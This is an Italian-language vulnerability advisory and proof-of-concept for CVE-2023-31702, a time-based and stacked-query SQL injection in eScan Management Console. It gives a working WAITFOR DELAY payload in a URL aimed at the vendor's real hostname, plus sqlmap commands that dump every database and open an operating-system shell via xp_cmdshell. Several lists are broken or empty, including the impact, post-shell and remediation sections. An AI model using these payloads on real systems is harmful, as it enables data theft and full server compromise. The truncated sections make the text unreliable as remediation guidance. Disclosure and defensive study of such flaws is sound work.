
CVE-2023-31702 è una vulnerabilità di SQL Injection autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281.
CVE-2023-31702 è una vulnerabilità di iniezione SQL autenticata scoperta in MicroWorld Technologies eScan Management Console versione 14.0.1400.2281. La vulnerabilità è presente nell'endpoint GetUserCurrentPwd, dove il parametro UsrId viene passato direttamente in una query SQL senza un'adeguata sanitizzazione o parametrizzazione. Un attaccante autenticato può sfruttare questa falla per eseguire un'iniezione SQL cieca basata sul tempo, estrarre l'intero database backend e, infine, ottenere una shell interattiva del sistema operativo sul Microsoft SQL Server sottostante, portando alla completa compromissione del sistema.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2023-31702 |
| Tipo di Vulnerabilità | Iniezione SQL (Cieca Basata sul Tempo / Query Impilate) |
| Prodotto Interessato | MicroWorld Technologies eScan Management Console |
| Versione Interessata | 14.0.1400.2281 |
| Endpoint Vulnerabile | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| Parametro Vulnerabile | UsrId |
| Autenticazione | Richiesta (credenziali valide della console) |
| Testato Su | Windows |
| Punteggio CVSS v3.1 | 8.8 (Alto) |
| Vettore CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Data di Segnalazione | 16 maggio 2023 |
| Autore | Sahil Ojha |
| Campo | Dettagli |
|---|---|
| Fornitore | MicroWorld Technologies |
| Prodotto | eScan Management Console |
| Homepage del Fornitore | https://www.escanav.com |
| Link del Software | https://cl.escanav.com/ewconsole.dll |
| Piattaforma | Windows |
La eScan Management Console fornisce un'interfaccia web per la gestione della sicurezza degli endpoint nella rete di un'organizzazione. La funzionalità "View User Profile" espone un endpoint di tipo REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
Il parametro UsrId viene incorporato in una query SQL backend senza validazione, escaping o utilizzo di query parametrizzate. Ciò consente a un attaccante autenticato di iniettare istruzioni SQL arbitrarie nella query, con i seguenti risultati:
WAITFOR DELAY per confermare la sfruttabilità.xp_cmdshell di SQL Server (abilitata tramite sp_configure) per eseguire comandi arbitrari del sistema operativo sul server con i privilegi dell'account di servizio di SQL Server.Lo sfruttamento riuscito di questa vulnerabilità consente a un attaccante di:
⚠️ Nota: L'attaccante deve prima ottenere credenziali valide per la eScan Management Console. Tuttavia, una volta autenticato, lo sfruttamento è semplice e non richiede privilegi elevati sulla console.
Dopo aver effettuato l'autenticazione alla eScan Management Console, accedere al seguente URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
Questo restituisce i dati del profilo utente corrente, confermando che l'endpoint è accessibile.

Iniettare il seguente payload di ritardo temporale nel parametro UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
Analisi del payload:
; — termina l'istruzione SQL originale e ne inizia una nuova (query impilata).WAITFOR DELAY '0:0:5' — istruisce SQL Server a mettere in pausa per 5 secondi prima di rispondere.-- — commenta il resto della query originale per prevenire errori di sintassi.Se la risposta del server subisce un ritardo di ~5 secondi, l'iniezione è confermata.

Una volta confermata l'iniezione SQL cieca, l'intero database può essere estratto utilizzando SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
Questo comando enumera tutti i database ospitati sul backend SQL Server.
SQLMap può inoltre elevare l'attacco all'esecuzione di comandi a livello di sistema operativo abilitando e sfruttando xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
Questo stabilisce una shell interattiva del sistema operativo sull'host di SQL Server.

Con la shell del sistema operativo stabilita, è possibile eseguire comandi Windows arbitrari sul server:

Si raccomandano vivamente le seguenti misure per rimediare e mitigare questa vulnerabilità: